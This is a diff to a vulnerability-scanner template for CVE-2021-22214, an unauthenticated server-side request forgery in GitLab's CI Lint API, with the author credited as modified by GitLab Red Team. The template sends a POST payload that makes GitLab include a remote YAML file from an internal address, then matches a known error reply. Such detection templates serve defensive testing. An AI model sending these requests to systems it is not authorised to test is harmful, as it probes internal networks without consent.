Fixed CVE-2021-22214

cves/2021/CVE-2021-22214.yaml

@@ -1,35 +1,44 @@
 id: CVE-2021-22214
-
 info:
-  author: Suman_Kar
+  author: Suman_Kar (modified by GitLab Red Team)
   name: Unauthenticated Gitlab SSRF - CI Lint API
   severity: high
-  description: When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited.
+  description: |
+    When requests to the internal network for webhooks are enabled,
+    a server-side request forgery vulnerability in GitLab CE/EE affecting all
+    versions starting from 10.5 was possible to exploit for an unauthenticated
+    attacker even on a GitLab instance where registration is limited.
+    The same vulnerability actually spans multiple CVEs, due to similar reports
+    that were fixed across seperate patches. These CVEs are:
+    - CVE-2021-39935
+    - CVE-2021-22214
+    - CVE-2021-22175
   reference:
     - https://nvd.nist.gov/vuln/detail/CVE-2021-22214
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-39935
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-22175
     - https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
     - https://docs.gitlab.com/ee/api/lint.html
-  metadata:
+  tags: cve,cve2021,gitlab,ssrf,oast
-    shodan-query: http.title:"GitLab"
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
     cvss-score: 8.60
     cve-id: CVE-2021-22214
     cwe-id: CWE-918
-  tags: cve,cve2021,gitlab,ssrf,oast
-
 requests:
-  - raw:
+  - method: POST
-      - |
+    path:
-        POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
+      - "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"
-        Host: {{Hostname}}
+    body: |
-        Referer: {{BaseURL}}
+      {"content": "include:\n  remote: http://127.0.0.1:9100/test.yml"}
-        content-type: application/json
+    headers:
-
+      Content-Type: application/json
-        {"content": "include:\n  remote: http://{{interactsh-url}}/api/v1/targets?test.yml"}
+    redirects: true
-
+    max-redirects: 3
+    matchers-condition: and
+    # Check for strictly known-vulnerable replies in the body
     matchers:
       - type: word
-        part: interactsh_protocol # Confirms the DNS Interaction
+        part: body
         words:
-          - "http"
+          - "does not have valid YAML syntax"